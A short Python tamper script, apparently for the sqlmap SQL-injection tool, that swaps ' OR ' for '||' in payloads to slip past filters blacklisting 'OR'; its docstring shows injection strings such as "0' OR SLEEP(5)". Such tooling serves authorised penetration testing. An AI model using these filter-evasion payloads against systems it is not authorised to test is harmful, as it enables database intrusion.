sqlmap/tamper/or2logicaloroperator.py
Anonymous ethc4 4d8cbece45
Create or2logicaloroperator.py
Added tamper script or2logicaloroperator
2025-07-12 07:00:06 -04:00

30 lines
641 B
Python

#!/usr/bin/env python3
"""
Tamper script to replace logical OR with double pipe (||)
Useful for evading weak filters that blacklist 'OR'
Author: relunsec
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
"""
Replaces instances of logical OR with || operator
Example:
Input: 1 OR 1=1
Output: 1 || 1=1
Requirement:
* MySQL
>>> tamper("0' OR SLEEP(5)")
"0' || SLEEP(5)"
"""
if payload:
# Replace only ' OR ' (with spaces) to avoid breaking string literals
payload = payload.replace(" OR ", " || ")
return payload